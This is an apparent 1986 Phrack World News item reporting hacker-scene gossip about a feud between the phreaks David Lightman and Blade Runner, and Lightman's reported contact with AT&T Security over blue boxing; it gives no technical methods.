20 июля 1986 года

Many of you should remember last issue's article about David Lightman and Blade Runner. After that article was printed, many other points of view were brought up. The following does not necessarily represent the views of Phrack, Phrack World News or myself.

According to Ryche, a phreak in the 214 NPA, David Lightman doesn't like Blade Runner because of both the P.H.I.R.M. and World's Grave Elite kicking him out as co-sysop of that board.

This of course made David Lightman very angry, and he decided to change Blade Runner's phone number. This of course made Blade Runner very angry as well, and since he is over 18 years of age, he decided to call David's father and let him know what his son has been up to. Supposedly father and son had a long talk, and David lost his modem privileges for a while.

Ryche also cleared up the rumor about Blade Runner working for Southwestern Bell Security. David Lightman, using Credimatic, performed a credit check on a name that he thought was Blade Runner's, but was in reality a relative of Blade Runner. Anyway, what David found was that this person worked for ITT. Now, as many of you should know, ITT has many subsidiaries that are non-telecom related. Nevertheless, David interpreted this guy as being Blade Runner and then, for unknown reasons, started telling people that Blade worked for Southwestern Bell Security.

That was all Ryche had to say about the Lightman/Runner controversy. This is what he says about David Lightman's `so-called` involvement with Captain Midnight and the Administration Voice Mailbox.

When Lightman started his Administration Mailbox, several of the local rodents decided to inform the FBI that Lightman was providing a way to defraud the phone company in the mailbox service. From then on, the FBI must have been monitoring the mailbox themselves, and when David told everyone that Captain Midnight could receive messages there and that he called every week, this must have made things very interesting.

Ryche also added:

> *Dave set out to make everyone think he knew Captain Midnight and he could reach him. He has also, in the past on phone conversations, said that Captain Midnight was on Administration Board 1 or some Administration board. He has also told me and a few others that he was in the Legion Of Doom.*

```
Information provided by Ryche
```

Almost all of the above article was from posts on the Phrack board on Metal Shop Private. David Lightman said that all of what Ryche says is lies, but that he was sick of discussing it and did not want to bring it up again.

23 июля 1986 года

On Wednesday, July 23, 1986, a new message appeared on David Lightman's Voice Mailbox that said something like this:

> *Attention, please listen! From this day forward, I will no longer be calling any BBSes. I have run into trouble and I cannot discuss it over the phone line. Telecom College and the Secret Passage on Castle Alcazar will be turned over to Radar Detr. Any associates of mine are warned to be very careful. Any sysop whose BBS I was on is asked to delete my account. Again, I cannot discuss this over the phone line. It has really been a blast knowing all of you guys over the past four years. I have discovered that no one is immune to getting caught. I have also found out that hacking/phreaking is not worth the price you pay once you are caught. Please give this news to Knight Lightning and have him put it in Phrack World News. That is the best way I know of to warn my associates. Again I cannot discuss this over the phone line, please do not call back. That's about it, bye.*

Please note that the above is not Lightman's exact words, but it is the general idea of what Lightman said. Also, on the same day, Sticky Fingers, a 214 NPA phreak, got a similar message on his voice mailbox.

On Wednesday evening at about 6:30 PM, Mr. BiG, sysop of Phantasm Elite, received a call from David Lightman, or rather someone using DL's password. Lightman didn't post on this call, which is unusual because Lightman always posts when he calls. David Lightman logged off at about 6:45 PM. So if this really was Lightman and he just didn't post, then that places his trouble or bust somewhere between 6:45 PM and 10:30 PM, when I called his mailbox. Question: who gets busted in the evening?

The next day, July 24, Mark Time logged on to Castle Alcazar and saw that Lightman was the last caller. Again there were no new posts by David Lightman on the board. So, if Lightman was busted, then the law enforcement agencies do indeed have his BBS and password files. The only other possibility is that

Lightman was not busted and that this is all a hoax performed for unknown reasons.

On the same day, Ryche called Lightman to ask what the deal was. He refused to talk about it over the phone. However, they did set a time that Lightman would call him from a pay phone to discuss it. Later, Lightman called Ryche back and told him that he would not discuss the bust until a few more things were cleared up.

That evening, I learned from The Safe Cracker that David Lightman was not actually busted and that he had received a call from AT&T Security about Blue Boxing. This could mean that they knew he boxed, however he lives in an ESS area, or that he was on a boxed Alliance Teleconference. Either way it matters little. Now nobody can get in touch with him and the message on his mailbox has changed.

Information provided by Sticky Fingers and Ryche